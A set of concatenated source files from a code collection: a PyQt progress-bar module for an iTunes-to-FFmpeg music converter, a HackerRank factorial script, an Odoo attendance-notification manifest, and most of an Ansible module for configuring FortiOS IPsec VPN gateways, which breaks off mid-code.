zero self.artist.emit(''); # Set artist to empty string self.album.emit( ''); # Set album to empty string self.track.emit( ''); # Set track to empty string self.status.emit(''); # Set status to empty string ############################################################################## def setBar(self, info): ''' Purpose: Method to set up the information in the bar Inputs: info : Dictionary containing information about the track ''' self.running = True; # Set running to True so bar cannot be used by another process self.updateInfo( info ); # Update the information self.time = time.time(); # Get current time for when process started ############################################################################## def freeBar(self): ''' Method for freeing the bar for use by another process ''' self.running = False; # Set running to False ############################################################################## def is_running(self): ''' Method to check if the bar is being used ''' return self.running; # Return value of running ############################################################################## def finish(self): ''' Method for setting bar to 'Finished'. Bar is intended to be freed by the progressFrame class. ''' self.status.emit('Finished!'); # Update the text for the bar self.progressUpdate.emit( self.maxVal ); # Set progress bar to complete self.time = time.time() - self.time; # Set time to processing time ############################################################################## def conversion(self, proc): ''' Purpose: Method to monitor the progress of FFmpeg so that the progress bar can be updated. Inputs: proc : Handle returned by call to subprocess.Popen. stdout must be sent to subprocess.PIPE and stderr must be sent to subprocess.STDOUT. ''' startVal = self.progress.value(); # Current value of the progress bar duration = None; # Set file duration to None; time = 0.0; # Set current file time to None; progress = 0; # Set progress to zero (0) line = b''; # Set line to empty byte line while True: # Iterate forever char = proc.stdout.read(1); # Read one (1) byte from stdout/stderr if char == b'': # If the byte is empty break; # Break the while loop elif char != b'\n' and char != b'\r': # Else, if byte is NOT one of the return characters line += char; # Append the byte to the line variable else: # Else, must be end of line line = line.decode('utf8'); # Convert byte line to string if duration is None: # If duration is None; i.e., has not been determined yet test = re.search(durPattern, line); # Look for the duration pattern in the line if test: duration = parseDuration( line[test.start():test.end()] ); # If pattern is found, then parse the duration else: # Else test = re.search(timPattern, line); # Look for a time pattern in the line if test: # If time patter found time = parseTime( line[test.start():test.end()] ); # Parse the time into seconds progress = (time / duration) * 100.0 # Set progress to percentage of time self.progressUpdate.emit( startVal + progress ); # Set progress bar position to initial position plus progress line = b''; # Set line back to empty byte line self.progressUpdate.emit( startVal + 100 ); # Make sure progress bar in correct position ############################################################################## def __truncateText( self, widget, txt ): ''' Purpose: A private method to truncate long text so that the GUI window does NOT resize Inputs: widget : Handle for the widget that text will be written to txt : String of text that is to be written to widget Ouputs: Returns truncated string ''' n = len(txt); # Number of characters in string px = widget.fontMetrics().width( txt ); # Number of pixels in string if px < self.__labelWidth: # If string is smaller enough already return txt; # Return the input string else: # Else px_n = px / n; # Compute # of pixels per character nn = int( self.__labelWidth / px_n ) - 5; # Compute number of characters that will fit in widget, less 5 return '{} ...'.format( txt[:nn] ); # Return newly formatted string ################################################################################ ################################################################################ ################################################################################ ################################################################################ class progressFrame( QFrame ): orient = 'horizontal'; mode = 'determinate'; elapsed = 0.0 progressUpdate = QtCore.pyqtSignal(int); progressMax = QtCore.pyqtSignal(int); tRemainSTR = QtCore.pyqtSignal(str); tElapsSTR = QtCore.pyqtSignal(str); def __init__(self, root, nprocs, dst_dir): ''' Inputs: root : Root window to place frame in nprocs : Number of process running simultaneously dst_dir : The output directory for all files ''' QFrame.__init__(self); self.tRemain = timedelta(seconds = -1.0); self.refTime = None; self.bars = [None] * nprocs; # List for track progress bar instances self.thread = None; # Attribute to store thread handle for time remaining updater self.getLock = Lock(); # Threading lock, used in freeBar self.freeLock = Lock(); self._n = -1; # Number of tracks converted self._m = 0; # Number of tracks to convert outLabel = QLabel( 'Output: {}'.format(dst_dir) ); # Label for the output directory progLabel = QLabel( 'Overall Progress'); # Label for the progress bar tRemainSTR = QLabel( '' ) # tkinter string variable for the time remaining tElapsSTR = QLabel( '' ); self.tRemainSTR.connect( tRemainSTR.setText ) self.tElapsSTR.connect( tElapsSTR.setText ) self.progress = QProgressBar( ); # Progress bar self.progress.setValue( 0 ); # Initialize value to zero (0) self.progressMax.connect( self.progress.setMaximum ); self.progressUpdate.connect( self.progress.setValue ); self.layout = QVBoxLayout(); self.layout.setSpacing(2); self.layout.addWidget( outLabel ); # Pack the output dir label self.layout.addWidget( progLabel ); # Pack the progress bar label self.layout.addWidget( self.progress ); # Pack the progress bar self.layout.addWidget( tRemainSTR ); # Pack label for time remaining self.layout.addWidget( tElapsSTR ); # Pack label for time remaining self._addProgress( nprocs ); # Create all track progress bar instances self.setLayout( self.layout ) self.show(); ############################################################################## def nTracks(self, ntracks): ''' Purpose: Method to set total number of tracks for overall progress bar Inputs: ntracks : Number of tracks that are going to be converted ''' self._n = 0; self._m = ntracks; self.progressMax.emit( ntracks ); # Set maximum value of progress bar ############################################################################## def _addProgress(self, n): ''' Purpose: Private method to generate track progress bars Inputs: n : Number of CPUs to use ''' for i in range(n): # Iterate over number of processes allowed at one time self.bars[i] = progressTrack(self, orient=self.orient, mode=self.mode); # Initiate a progressTrack tk.Frame class self.layout.addWidget( self.bars[i] ); # Pack the class in the main window ############################################################################## def getBar(self, info): ''' Purpose: Method to get a 'free' track progress bar; i.e., one that is NOT being used. Inputs: info : Dictionary of information about the track ''' self.getLock.acquire(); if self.thread is None: # If thread attribute is None, has not been started self.thread = Thread(target = self.__timeRemainThread); # Set up thread self.thread.start(); # Start the thread Thread(target = self.__timeElapsThread).start(); # Start thread for remaining time free = False; # Initialize free to false, this tells if a free bar has been found while not free: # While free is flase for bar in self.bars: # Iterate over all progress bars if not bar.is_running(): # If the bar is NOT running bar.setBar( info ); # Run the setBar method on the bar to update the information free = True; # Set free to True break; # Break the for loop if not free: time.sleep(0.01); # If not free, sleep 10 milliseconds self.getLock.release(); # Release the getLock lock return bar; # Return reference to track progress bar instance ############################################################################## def freeBar(self, bar): ''' Purpose: Method to free a given track progress bar Inputs: bar : Reference to the progressTrack instance that should be freed. ''' self.freeLock.acquire(); # Acquire lock so this method cannot be running multiple times at once for i in range( len(self.bars) ): # Iterate over all progressTrack instances if self.bars[i] == bar: # If the given bar is equal to that input self._n += 1; # Increment number of tracks converted self.progressUpdate.emit( self._n ); # Update number of tracks converted self.elapsed += bar.time; # Time difference between now and when free bar was found (should be roughly how long it took for conversion to occur); avgTime = self.elapsed / self._n; # Compute average time per file nRemain = (self._m - self._n); # Number of tracks remaining self.tRemain = timedelta(seconds = round(avgTime * nRemain)); # Compute remaining time based on number of tracks left and average process time bar.freeBar(); # Free the bar self.freeLock.release(); # Release the lock ############################################################################## def __timeRemainThread(self): ''' Purpose: A private method to update the time remaining every second. Inputs: None. ''' while self._n < self._m: # While the # of tracks processed is < # of tracks if self.tRemain.total_seconds() > 0.0: # If the remaining time is greater than zero (0) seconds self.tRemainSTR.emit( 'Time Remaining: {}'.format( self.tRemain ) ); # Set the tRemainSTR tkinter string variable using the tRemain timedelta variable self.tRemain -= timedelta( seconds = 1.0 ); # Decrement the tRemain timedelta by one (1) second time.sleep(1.0); # Sleep for one (1) second self.tRemainSTR.emit( 'Done!' ); # Set tRemainSTR to 'Done!' ############################################################################## def __timeElapsThread(self): ''' Purpose: A private method to update the time remaining every second. Inputs: None. ''' t0 = time.time(); # Start time of thread while self._n < self._m: # While the # of tracks processed is < # of tracks t = time.strftime('%H:%M:%S', time.gmtime( time.time() - t0 ) ); # Get time elapsed since thread start and format as HH:MM:SS self.tElapsSTR.emit( 'Time Elapsed: {}'.format( t ) ); # Set the tRemainSTR tkinter string variable using the tRemain timedelta variable time.sleep(1.0); # Sleep for one (1) second
kwodzicki/iTunes_Music_Converter
iTunes_Music_Converter/progressFrame.py
Python
gpl-3.0
24,270
def fact(n): if n == 1: return 1 return n * fact(n-1) print (fact(int(input().strip())))
sirishaditya/hackerrank_Python
algorithms/implementation/extralongfactorials.py
Python
gpl-3.0
107
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution, third party addon # Copyright (C) 2016- Vertel AB (<http://vertel.se>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'Attendance Notification', 'version': '0.1', 'summary': 'Human Resource', 'category': 'hr', 'description': """ Attendance notification """, 'author': 'Vertel AB', 'license': 'AGPL-3', 'website': 'http://www.vertel.se', 'depends': ['hr_attendance', 'hr_payroll_flex100', 'hr_holidays'], 'data': [ 'hr_attendance_data.xml', ], 'installable': True, }
vertelab/odoo-payroll
hr_attendance_notification/__openerp__.py
Python
gpl-3.0
1,328
#!/usr/bin/python from __future__ import (absolute_import, division, print_function) # Copyright 2019 Fortinet, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. __metaclass__ = type ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'metadata_version': '1.1'} DOCUMENTATION = ''' --- module: fortios_vpn_ipsec_phase1_interface short_description: Configure VPN remote gateway in Fortinet's FortiOS and FortiGate. description: - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the user to set and modify vpn_ipsec feature and phase1_interface category. Examples include all parameters and values need to be adjusted to datasources before usage. Tested with FOS v6.0.5 version_added: "2.8" author: - Miguel Angel Munoz (@mamunozgonzalez) - Nicolas Thomas (@thomnico) notes: - Requires fortiosapi library developed by Fortinet - Run as a local_action in your playbook requirements: - fortiosapi>=0.9.8 options: host: description: - FortiOS or FortiGate IP address. type: str required: false username: description: - FortiOS or FortiGate username. type: str required: false password: description: - FortiOS or FortiGate password. type: str default: "" vdom: description: - Virtual domain, among those defined previously. A vdom is a virtual instance of the FortiGate that can be configured and used as a different unit. type: str default: root https: description: - Indicates if the requests towards FortiGate must use HTTPS protocol. type: bool default: true ssl_verify: description: - Ensures FortiGate certificate must be verified by a proper CA. type: bool default: true version_added: 2.9 state: description: - Indicates whether to create or remove the object. type: str required: true choices: - present - absent version_added: 2.9 vpn_ipsec_phase1_interface: description: - Configure VPN remote gateway. default: null type: dict suboptions: acct_verify: description: - Enable/disable verification of RADIUS accounting record. type: str choices: - enable - disable add_gw_route: description: - Enable/disable automatically add a route to the remote gateway. type: str choices: - enable - disable add_route: description: - Enable/disable control addition of a route to peer destination selector. type: str choices: - disable - enable assign_ip: description: - Enable/disable assignment of IP to IPsec interface via configuration method. type: str choices: - disable - enable assign_ip_from: description: - Method by which the IP address will be assigned. type: str choices: - range - usrgrp - dhcp - name authmethod: description: - Authentication method. type: str choices: - psk - signature authmethod_remote: description: - Authentication method (remote side). type: str choices: - psk - signature authpasswd: description: - XAuth password (max 35 characters). type: str authusr: description: - XAuth user name. type: str authusrgrp: description: - Authentication user group. Source user.group.name. type: str auto_discovery_forwarder: description: - Enable/disable forwarding auto-discovery short-cut messages. type: str choices: - enable - disable auto_discovery_psk: description: - Enable/disable use of pre-shared secrets for authentication of auto-discovery tunnels. type: str choices: - enable - disable auto_discovery_receiver: description: - Enable/disable accepting auto-discovery short-cut messages. type: str choices: - enable - disable auto_discovery_sender: description: - Enable/disable sending auto-discovery short-cut messages. type: str choices: - enable - disable auto_negotiate: description: - Enable/disable automatic initiation of IKE SA negotiation. type: str choices: - enable - disable backup_gateway: description: - Instruct unity clients about the backup gateway address(es). type: list suboptions: address: description: - Address of backup gateway. required: true type: str banner: description: - Message that unity client should display after connecting. type: str cert_id_validation: description: - Enable/disable cross validation of peer ID and the identity in the peer's certificate as specified in RFC 4945. type: str choices: - enable - disable certificate: description: - The names of up to 4 signed personal certificates. type: list suboptions: name: description: - Certificate name. Source vpn.certificate.local.name. required: true type: str childless_ike: description: - Enable/disable childless IKEv2 initiation (RFC 6023). type: str choices: - enable - disable client_auto_negotiate: description: - Enable/disable allowing the VPN client to bring up the tunnel when there is no traffic. type: str choices: - disable - enable client_keep_alive: description: - Enable/disable allowing the VPN client to keep the tunnel up when there is no traffic. type: str choices: - disable - enable comments: description: - Comment. type: str default_gw: description: - IPv4 address of default route gateway to use for traffic exiting the interface. type: str default_gw_priority: description: - Priority for default gateway route. A higher priority number signifies a less preferred route. type: int dhgrp: description: - DH group. type: str choices: - 1 - 2 - 5 - 14 - 15 - 16 - 17 - 18 - 19 - 20 - 21 - 27 - 28 - 29 - 30 - 31 digital_signature_auth: description: - Enable/disable IKEv2 Digital Signature Authentication (RFC 7427). type: str choices: - enable - disable distance: description: - Distance for routes added by IKE (1 - 255). type: int dns_mode: description: - DNS server mode. type: str choices: - manual - auto domain: description: - Instruct unity clients about the default DNS domain. type: str dpd: description: - Dead Peer Detection mode. type: str choices: - disable - on-idle - on-demand dpd_retrycount: description: - Number of DPD retry attempts. type: int dpd_retryinterval: description: - DPD retry interval. type: str eap: description: - Enable/disable IKEv2 EAP authentication. type: str choices: - enable - disable eap_identity: description: - IKEv2 EAP peer identity type. type: str choices: - use-id-payload - send-request encap_local_gw4: description: - Local IPv4 address of GRE/VXLAN tunnel. type: str encap_local_gw6: description: - Local IPv6 address of GRE/VXLAN tunnel. type: str encap_remote_gw4: description: - Remote IPv4 address of GRE/VXLAN tunnel. type: str encap_remote_gw6: description: - Remote IPv6 address of GRE/VXLAN tunnel. type: str encapsulation: description: - Enable/disable GRE/VXLAN encapsulation. type: str choices: - none - gre - vxlan encapsulation_address: description: - Source for GRE/VXLAN tunnel address. type: str choices: - ike - ipv4 - ipv6 enforce_unique_id: description: - Enable/disable peer ID uniqueness check. type: str choices: - disable - keep-new - keep-old exchange_interface_ip: description: - Enable/disable exchange of IPsec interface IP address. type: str choices: - enable - disable exchange_ip_addr4: description: - IPv4 address to exchange with peers. type: str exchange_ip_addr6: description: - IPv6 address to exchange with peers type: str forticlient_enforcement: description: - Enable/disable FortiClient enforcement. type: str choices: - enable - disable fragmentation: description: - Enable/disable fragment IKE message on re-transmission. type: str choices: - enable - disable fragmentation_mtu: description: - IKE fragmentation MTU (500 - 16000). type: int group_authentication: description: - Enable/disable IKEv2 IDi group authentication. type: str choices: - enable - disable group_authentication_secret: description: - Password for IKEv2 IDi group authentication. (ASCII string or hexadecimal indicated by a leading 0x.) type: str ha_sync_esp_seqno: description: - Enable/disable sequence number jump ahead for IPsec HA. type: str choices: - enable - disable idle_timeout: description: - Enable/disable IPsec tunnel idle timeout. type: str choices: - enable - disable idle_timeoutinterval: description: - IPsec tunnel idle timeout in minutes (5 - 43200). type: int ike_version: description: - IKE protocol version. type: str choices: - 1 - 2 include_local_lan: description: - Enable/disable allow local LAN access on unity clients. type: str choices: - disable - enable interface: description: - Local physical, aggregate, or VLAN outgoing interface. Source system.interface.name. type: str ip_version: description: - IP version to use for VPN interface. type: str choices: - 4 - 6 ipv4_dns_server1: description: - IPv4 DNS server 1. type: str ipv4_dns_server2: description: - IPv4 DNS server 2. type: str ipv4_dns_server3: description: - IPv4 DNS server 3. type: str ipv4_end_ip: description: - End of IPv4 range. type: str ipv4_exclude_range: description: - Configuration Method IPv4 exclude ranges. type: list suboptions: end_ip: description: - End of IPv4 exclusive range. type: str id: description: - ID. required: true type: int start_ip: description: - Start of IPv4 exclusive range. type: str ipv4_name: description: - IPv4 address name. Source firewall.address.name firewall.addrgrp.name. type: str ipv4_netmask: description: - IPv4 Netmask. type: str ipv4_split_exclude: description: - IPv4 subnets that should not be sent over the IPsec tunnel. Source firewall.address.name firewall.addrgrp.name. type: str ipv4_split_include: description: - IPv4 split-include subnets. Source firewall.address.name firewall.addrgrp.name. type: str ipv4_start_ip: description: - Start of IPv4 range. type: str ipv4_wins_server1: description: - WINS server 1. type: str ipv4_wins_server2: description: - WINS server 2. type: str ipv6_dns_server1: description: - IPv6 DNS server 1. type: str ipv6_dns_server2: description: - IPv6 DNS server 2. type: str ipv6_dns_server3: description: - IPv6 DNS server 3. type: str ipv6_end_ip: description: - End of IPv6 range. type: str ipv6_exclude_range: description: - Configuration method IPv6 exclude ranges. type: list suboptions: end_ip: description: - End of IPv6 exclusive range. type: str id: description: - ID. required: true type: int start_ip: description: - Start of IPv6 exclusive range. type: str ipv6_name: description: - IPv6 address name. Source firewall.address6.name firewall.addrgrp6.name. type: str ipv6_prefix: description: - IPv6 prefix. type: int ipv6_split_exclude: description: - IPv6 subnets that should not be sent over the IPsec tunnel. Source firewall.address6.name firewall.addrgrp6.name. type: str ipv6_split_include: description: - IPv6 split-include subnets. Source firewall.address6.name firewall.addrgrp6.name. type: str ipv6_start_ip: description: - Start of IPv6 range. type: str keepalive: description: - NAT-T keep alive interval. type: int keylife: description: - Time to wait in seconds before phase 1 encryption key expires. type: int local_gw: description: - IPv4 address of the local gateway's external interface. type: str local_gw6: description: - IPv6 address of the local gateway's external interface. type: str localid: description: - Local ID. type: str localid_type: description: - Local ID type. type: str choices: - auto - fqdn - user-fqdn - keyid - address - asn1dn mesh_selector_type: description: - Add selectors containing subsets of the configuration depending on traffic. type: str choices: - disable - subnet - host mode: description: - The ID protection mode used to establish a secure channel. type: str choices: - aggressive - main mode_cfg: description: - Enable/disable configuration method. type: str choices: - disable - enable monitor: description: - IPsec interface as backup for primary interface. Source vpn.ipsec.phase1-interface.name. type: str monitor_hold_down_delay: description: - Time to wait in seconds before recovery once primary re-establishes. type: int monitor_hold_down_time: description: - Time of day at which to fail back to primary after it re-establishes. type: str monitor_hold_down_type: description: - Recovery time method when primary interface re-establishes. type: str choices: - immediate - delay - time monitor_hold_down_weekday: description: - Day of the week to recover once primary re-establishes. type: str choices: - everyday - sunday - monday - tuesday - wednesday - thursday - friday - saturday name: description: - IPsec remote gateway name. required: true type: str nattraversal: description: - Enable/disable NAT traversal. type: str choices: - enable - disable - forced negotiate_timeout: description: - IKE SA negotiation timeout in seconds (1 - 300). type: int net_device: description: - Enable/disable kernel device creation for dialup instances. type: str choices: - enable - disable passive_mode: description: - Enable/disable IPsec passive mode for static tunnels. type: str choices: - enable - disable peer: description: - Accept this peer certificate. Source user.peer.name. type: str peergrp: description: - Accept this peer certificate group. Source user.peergrp.name. type: str peerid: description: - Accept this peer identity. type: str peertype: description: - Accept this peer type. type: str choices: - any - one - dialup - peer - peergrp ppk: description: - Enable/disable IKEv2 Postquantum Preshared Key (PPK). type: str choices: - disable - allow - require ppk_identity: description: - IKEv2 Postquantum Preshared Key Identity. type: str ppk_secret: description: - IKEv2 Postquantum Preshared Key (ASCII string or hexadecimal encoded with a leading 0x). type: str priority: description: - Priority for routes added by IKE (0 - 4294967295). type: int proposal: description: - Phase1 proposal. type: str choices: - des-md5 - des-sha1 - des-sha256 - des-sha384 - des-sha512 psksecret: description: - Pre-shared secret for PSK authentication (ASCII string or hexadecimal encoded with a leading 0x). type: str psksecret_remote: description: - Pre-shared secret for remote side PSK authentication (ASCII string or hexadecimal encoded with a leading 0x). type: str reauth: description: - Enable/disable re-authentication upon IKE SA lifetime expiration. type: str choices: - disable - enable rekey: description: - Enable/disable phase1 rekey. type: str choices: - enable - disable remote_gw: description: - IPv4 address of the remote gateway's external interface. type: str remote_gw6: description: - IPv6 address of the remote gateway's external interface. type: str remotegw_ddns: description: - Domain name of remote gateway (eg. name.DDNS.com). type: str rsa_signature_format: description: - Digital Signature Authentication RSA signature format. type: str choices: - pkcs1 - pss save_password: description: - Enable/disable saving XAuth username and password on VPN clients. type: str choices: - disable - enable send_cert_chain: description: - Enable/disable sending certificate chain. type: str choices: - enable - disable signature_hash_alg: description: - Digital Signature Authentication hash algorithms. type: str choices: - sha1 - sha2-256 - sha2-384 - sha2-512 split_include_service: description: - Split-include services. Source firewall.service.group.name firewall.service.custom.name. type: str suite_b: description: - Use Suite-B. type: str choices: - disable - suite-b-gcm-128 - suite-b-gcm-256 tunnel_search: description: - Tunnel search method for when the interface is shared. type: str choices: - selectors - nexthop type: description: - Remote gateway type. type: str choices: - static - dynamic - ddns unity_support: description: - Enable/disable support for Cisco UNITY Configuration Method extensions. type: str choices: - disable - enable usrgrp: description: - User group name for dialup peers. Source user.group.name. type: str vni: description: - VNI of VXLAN tunnel. type: int wizard_type: description: - GUI VPN Wizard Type. type: str choices: - custom - dialup-forticlient - dialup-ios - dialup-android - dialup-windows - dialup-cisco - static-fortigate - dialup-fortigate - static-cisco - dialup-cisco-fw xauthtype: description: - XAuth type. type: str choices: - disable - client - pap - chap - auto ''' EXAMPLES = ''' - hosts: localhost vars: host: "192.168.122.40" username: "admin" password: "" vdom: "root" ssl_verify: "False" tasks: - name: Configure VPN remote gateway. fortios_vpn_ipsec_phase1_interface: host: "{{ host }}" username: "{{ username }}" password: "{{ password }}" vdom: "{{ vdom }}" https: "False" state: "present" vpn_ipsec_phase1_interface: acct_verify: "enable" add_gw_route: "enable" add_route: "disable" assign_ip: "disable" assign_ip_from: "range" authmethod: "psk" authmethod_remote: "psk" authpasswd: "<your_own_value>" authusr: "<your_own_value>" authusrgrp: "<your_own_value> (source user.group.name)" auto_discovery_forwarder: "enable" auto_discovery_psk: "enable" auto_discovery_receiver: "enable" auto_discovery_sender: "enable" auto_negotiate: "enable" backup_gateway: - address: "<your_own_value>" banner: "<your_own_value>" cert_id_validation: "enable" certificate: - name: "default_name_23 (source vpn.certificate.local.name)" childless_ike: "enable" client_auto_negotiate: "disable" client_keep_alive: "disable" comments: "<your_own_value>" default_gw: "<your_own_value>" default_gw_priority: "29" dhgrp: "1" digital_signature_auth: "enable" distance: "32" dns_mode: "manual" domain: "<your_own_value>" dpd: "disable" dpd_retrycount: "36" dpd_retryinterval: "<your_own_value>" eap: "enable" eap_identity: "use-id-payload" encap_local_gw4: "<your_own_value>" encap_local_gw6: "<your_own_value>" encap_remote_gw4: "<your_own_value>" encap_remote_gw6: "<your_own_value>" encapsulation: "none" encapsulation_address: "ike" enforce_unique_id: "disable" exchange_interface_ip: "enable" exchange_ip_addr4: "<your_own_value>" exchange_ip_addr6: "<your_own_value>" forticlient_enforcement: "enable" fragmentation: "enable" fragmentation_mtu: "52" group_authentication: "enable" group_authentication_secret: "<your_own_value>" ha_sync_esp_seqno: "enable" idle_timeout: "enable" idle_timeoutinterval: "57" ike_version: "1" include_local_lan: "disable" interface: "<your_own_value> (source system.interface.name)" ip_version: "4" ipv4_dns_server1: "<your_own_value>" ipv4_dns_server2: "<your_own_value>" ipv4_dns_server3: "<your_own_value>" ipv4_end_ip: "<your_own_value>" ipv4_exclude_range: - end_ip: "<your_own_value>" id: "68" start_ip: "<your_own_value>" ipv4_name: "<your_own_value> (source firewall.address.name firewall.addrgrp.name)" ipv4_netmask: "<your_own_value>" ipv4_split_exclude: "<your_own_value> (source firewall.address.name firewall.addrgrp.name)" ipv4_split_include: "<your_own_value> (source firewall.address.name firewall.addrgrp.name)" ipv4_start_ip: "<your_own_value>" ipv4_wins_server1: "<your_own_value>" ipv4_wins_server2: "<your_own_value>" ipv6_dns_server1: "<your_own_value>" ipv6_dns_server2: "<your_own_value>" ipv6_dns_server3: "<your_own_value>" ipv6_end_ip: "<your_own_value>" ipv6_exclude_range: - end_ip: "<your_own_value>" id: "83" start_ip: "<your_own_value>" ipv6_name: "<your_own_value> (source firewall.address6.name firewall.addrgrp6.name)" ipv6_prefix: "86" ipv6_split_exclude: "<your_own_value> (source firewall.address6.name firewall.addrgrp6.name)" ipv6_split_include: "<your_own_value> (source firewall.address6.name firewall.addrgrp6.name)" ipv6_start_ip: "<your_own_value>" keepalive: "90" keylife: "91" local_gw: "<your_own_value>" local_gw6: "<your_own_value>" localid: "<your_own_value>" localid_type: "auto" mesh_selector_type: "disable" mode: "aggressive" mode_cfg: "disable" monitor: "<your_own_value> (source vpn.ipsec.phase1-interface.name)" monitor_hold_down_delay: "100" monitor_hold_down_time: "<your_own_value>" monitor_hold_down_type: "immediate" monitor_hold_down_weekday: "everyday" name: "default_name_104" nattraversal: "enable" negotiate_timeout: "106" net_device: "enable" passive_mode: "enable" peer: "<your_own_value> (source user.peer.name)" peergrp: "<your_own_value> (source user.peergrp.name)" peerid: "<your_own_value>" peertype: "any" ppk: "disable" ppk_identity: "<your_own_value>" ppk_secret: "<your_own_value>" priority: "116" proposal: "des-md5" psksecret: "<your_own_value>" psksecret_remote: "<your_own_value>" reauth: "disable" rekey: "enable" remote_gw: "<your_own_value>" remote_gw6: "<your_own_value>" remotegw_ddns: "<your_own_value>" rsa_signature_format: "pkcs1" save_password: "disable" send_cert_chain: "enable" signature_hash_alg: "sha1" split_include_service: "<your_own_value> (source firewall.service.group.name firewall.service.custom.name)" suite_b: "disable" tunnel_search: "selectors" type: "static" unity_support: "disable" usrgrp: "<your_own_value> (source user.group.name)" vni: "135" wizard_type: "custom" xauthtype: "disable" ''' RETURN = ''' build: description: Build number of the fortigate image returned: always type: str sample: '1547' http_method: description: Last method used to provision the content into FortiGate returned: always type: str sample: 'PUT' http_status: description: Last result given by FortiGate on last operation applied returned: always type: str sample: "200" mkey: description: Master key (id) used in the last call to FortiGate returned: success type: str sample: "id" name: description: Name of the table used to fulfill the request returned: always type: str sample: "urlfilter" path: description: Path of the table used to fulfill the request returned: always type: str sample: "webfilter" revision: description: Internal revision number returned: always type: str sample: "17.0.2.10658" serial: description: Serial number of the unit returned: always type: str sample: "FGVMEVYYQT3AB5352" status: description: Indication of the operation's result returned: always type: str sample: "success" vdom: description: Virtual domain used returned: always type: str sample: "root" version: description: Version of the FortiGate returned: always type: str sample: "v5.6.3" ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.connection import Connection from ansible.module_utils.network.fortios.fortios import FortiOSHandler from ansible.module_utils.network.fortimanager.common import FAIL_SOCKET_MSG def login(data, fos): host = data['host'] username = data['username'] password = data['password'] ssl_verify = data['ssl_verify'] fos.debug('on') if 'https' in data and not data['https']: fos.https('off') else: fos.https('on') fos.login(host, username, password, verify=ssl_verify) def filter_vpn_ipsec_phase1_interface_data(json): option_list = ['acct_verify', 'add_gw_route', 'add_route', 'assign_ip', 'assign_ip_from', 'authmethod', 'authmethod_remote', 'authpasswd', 'authusr', 'authusrgrp', 'auto_discovery_forwarder', 'auto_discovery_psk', 'auto_discovery_receiver', 'auto_discovery_sender', 'auto_negotiate', 'backup_gateway', 'banner', 'cert_id_validation', 'certificate', 'childless_ike', 'client_auto_negotiate', 'client_keep_alive', 'comments', 'default_gw', 'default_gw_priority', 'dhgrp', 'digital_signature_auth', 'distance', 'dns_mode', 'domain', 'dpd', 'dpd_retrycount', 'dpd_retryinterval', 'eap', 'eap_identity', 'encap_local_gw4', 'encap_local_gw6', 'encap_remote_gw4', 'encap_remote_gw6', 'encapsulation', 'encapsulation_address', 'enforce_unique_id', 'exchange_interface_ip', 'exchange_ip_addr4', 'exchange_ip_addr6', 'forticlient_enforcement', 'fragmentation', 'fragmentation_mtu', 'group_authentication', 'group_authentication_secret', 'ha_sync_esp_seqno', 'idle_timeout', 'idle_timeoutinterval', 'ike_version', 'include_local_lan', 'interface', 'ip_version', 'ipv4_dns_server1', 'ipv4_dns_server2', 'ipv4_dns_server3', 'ipv4_end_ip', 'ipv4_exclude_range', 'ipv4_name', 'ipv4_netmask', 'ipv4_split_exclude', 'ipv4_split_include', 'ipv4_start_ip', 'ipv4_wins_server1', 'ipv4_wins_server2', 'ipv6_dns_server1', 'ipv6_dns_server2', 'ipv6_dns_server3', 'ipv6_end_ip', 'ipv6_exclude_range', 'ipv6_name', 'ipv6_prefix', 'ipv6_split_exclude', 'ipv6_split_include', 'ipv6_start_ip', 'keepalive', 'keylife', 'local_gw', 'local_gw6', 'localid', 'localid_type', 'mesh_selector_type', 'mode', 'mode_cfg', 'monitor', 'monitor_hold_down_delay', 'monitor_hold_down_time', 'monitor_hold_down_type', 'monitor_hold_down_weekday', 'name', 'nattraversal', 'negotiate_timeout', 'net_device', 'passive_mode', 'peer', 'peergrp', 'peerid', 'peertype', 'ppk', 'ppk_identity', 'ppk_secret', 'priority', 'proposal', 'psksecret', 'psksecret_remote', 'reauth', 'rekey', 'remote_gw', 'remote_gw6', 'remotegw_ddns', 'rsa_signature_format', 'save_password', 'send_cert_chain', 'signature_hash_alg', 'split_include_service', 'suite_b', 'tunnel_search', 'type', 'unity_support', 'usrgrp', 'vni', 'wizard_type', 'xauthtype'] dictionary = {} for attribute in option_list: if attribute in json and json[attribute] is not None: dictionary[attribute] = json[attribute] return dictionary def underscore_to_hyphen(data): if isinstance(data, list): for elem in data: elem = underscore_to_hyphen(elem) elif isinstance(data, dict): new_data = {} for k, v in data.items(): new_data[k.replace('_', '-')] = underscore_to_hyphen(v) data = new_data return data def vpn_ipsec_phase1_interface(data, fos): vdom = data['vdom'] state = data['state'] vpn_ipsec_phase1_interface_data = data['vpn_ipsec_phase1_interface'] filtered_data = underscore_to_hyphen(filter_vpn_ipsec_phase1_interface_data(vpn_ipsec_phase1_interface_data)) if state == "present": return fos.set('vpn.ipsec', 'phase1-interface', data=filtered_data, vdom=vdom) elif state == "absent": return fos.delete('vpn.ipsec', 'phase1-interface', mkey=filtered_data['name'], vdom=vdom) def is_successful_status(status): return status['status'] == "success" or \ status['http_method'] == "DELETE" and status['http_status'] == 404 def fortios_vpn_ipsec(data, fos): if data['vpn_ipsec_phase1_interface']: resp = vpn_ipsec_phase1_interface(data, fos) return not is_successful_status(resp), \ resp['status'] == "success", \ resp def main(): fields = { "host": {"required": False, "type": "str"}, "username": {"required": False, "type": "str"}, "password": {"required": False, "type": "str", "default": "", "no_log": True}, "vdom": {"required": False, "type": "str", "default": "root"}, "https": {"required": False, "type": "bool", "default": True}, "ssl_verify": {"required": False, "type": "bool", "default": True}, "state": {"required": True, "type": "str", "choices": ["present", 